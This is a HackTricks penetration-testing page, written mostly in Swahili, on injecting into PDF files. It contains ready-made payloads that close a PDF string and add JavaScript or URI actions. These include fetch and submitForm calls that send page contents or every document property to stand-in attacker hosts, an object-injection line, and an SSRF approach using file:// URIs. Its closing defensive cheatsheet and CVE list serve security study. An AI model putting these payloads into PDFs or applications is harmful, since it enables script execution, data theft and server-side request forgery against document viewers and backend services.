PDF Injection
Reading time: 5 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ikiwa ingizo lako linaonyeshwa ndani ya faili la PDF, unaweza kujaribu kuingiza data ya PDF ili kutekeleza JavaScript, kufanya SSRF au kuiba maudhui ya PDF. Sintaksia ya PDF ni ya kuruhusu sana - ikiwa unaweza kutoka kwenye mfuatano au kamusi inayojumuisha ingizo lako unaweza kuongeza vitu vipya kabisa (au funguo mpya katika kitu hicho hicho) ambacho Acrobat/Chrome kitafurahia kuchambua. Tangu mwaka wa 2024, wimbi la ripoti za bug-bounty limeonyesha kwamba parenthesis moja isiyo na kuepukwa au back-slash inatosha kwa utekelezaji kamili wa script.
TL;DR – Mchakato wa Shambulio wa Kisasa (2024)
- Pata thamani yoyote inayodhibitiwa na mtumiaji ambayo inaishia ndani ya (parenthesis string),
/URI ( … )
au/JS ( … )
uwanja katika PDF iliyozalishwa. - Ingiza
)
(kufunga mfuatano) ikifuatiwa na moja ya primitives zilizo hapa chini na kumaliza na parenthesis nyingine ya ufunguzi ili kuweka sintaksia kuwa sahihi. - Toa PDF yenye uharibifu kwa mwathirika (au kwa huduma ya nyuma inayotengeneza faili kiotomatiki - nzuri kwa makosa ya kipofu).
- Payload yako inafanya kazi katika mtazamaji wa PDF:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (ona CVE-2024-4367)
- Acrobat → Full JavaScript API (inaweza kuhamasisha maudhui ya faili yoyote kwa
this.getPageNthWord
)
Mfano (kuiba kiungo cha maelezo):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
)
ya kwanza inafunga mfuatano wa URI wa awali, kisha tunaongeza kamusi mpya ya Action ambayo Acrobat itatekeleza wakati mtumiaji anapobofya kiungo.
Primitives za Injection Zinazofaa
Lengo | Kipande cha Payload | Maelezo |
---|---|---|
JavaScript kwenye ufunguzi | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Inatekelezwa mara moja wakati hati inafunguliwa (inafanya kazi katika Acrobat, si katika Chrome). |
JavaScript kwenye kiungo | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Inafanya kazi katika PDFium & Acrobat ikiwa unadhibiti /Link annotation. |
Kuvuja kwa data kwa siri | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Changanya na this.getPageNthWord ndani ya JS ili kuiba maudhui. |
Server-Side SSRF | Kama ilivyo hapo juu lakini lengo ni URL ya ndani – nzuri wakati PDF inatolewa na huduma za ofisi za nyuma ambazo heshimu /URI . | |
Mstari wa Kuvunja kwa vitu vipya | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Ikiwa maktaba inakuwezesha kuingiza wahusika wapya wa mstari unaweza kuunda vitu vipya kabisa. |
Hila ya Blind Enumeration
Gareth Heyes (PortSwigger) alitoa mstari mmoja unaoelezea kila kitu ndani ya hati isiyojulikana – muhimu unaposhindwa kuona PDF iliyotengenezwa:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
K code inazunguka Acrobat DOM na kufanya maombi ya nje kwa kila mali/kiwango, ikikupa JSON-ish dump ya faili. Tazama karatasi ya nyeupe “Portable Data exFiltration” kwa mbinu kamili.
Real-World Bugs (2023-2025)
- CVE-2024-4367 – Utekelezaji wa JavaScript wa kiholela katika PDF.js ya Firefox kabla ya 4.2.67 ilipita sandbox kwa hatua iliyoundwa ya
/JavaScript
. - Bug bounty 2024-05 – Fintech kubwa iliruhusu maelezo ya ankara yaliyotolewa na wateja ambayo yalifika katika
/URI
; ripoti ililipwa $10k baada ya kuonyesha SSRF kwa mwenyeji wa metadata wa ndani kwa kutumiafile:///
URI. - CVE-2023-26155 –
node-qpdf
command-injection kupitia njia ya PDF isiyo safishwa inaonyesha umuhimu wa kukwepa backslashes na mabano hata kabla ya safu ya PDF.
Defensive Cheatsheet
- Usiunganishe kamwe pembejeo za mtumiaji za moja kwa moja ndani ya
(
…)
nyuzi au majina. Kwepa\
,(
,)
kama inavyohitajika na §7.3 ya spesifiki ya PDF au tumia nyuzi za hex<...>
. - Ikiwa unajenga viungo, pendelea
/URI (https://…)
ambayo ume weka URL-kodisha kikamilifu; zuia mipango yajavascript:
katika watazamaji wa mteja. - Ondoa au thibitisha kamusi za
/OpenAction
,/AA
(hatua za ziada),/Launch
,/SubmitForm
na/ImportData
wakati wa usindikaji wa baada ya PDFs. - Kwenye upande wa seva, uwasilishe PDFs zisizoaminika kwa kutumia converter isiyo na kichwa (mfano qpdf –decrypt –linearize) ambayo inatoa JavaScript na hatua za nje.
- Hifadhi watazamaji wa PDF wakiwa na sasisho; PDF.js < 4.2.67 na Acrobat Reader kabla ya patchi za Julai 2024 zinaruhusu utekelezaji wa msimbo wa kawaida.
References
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.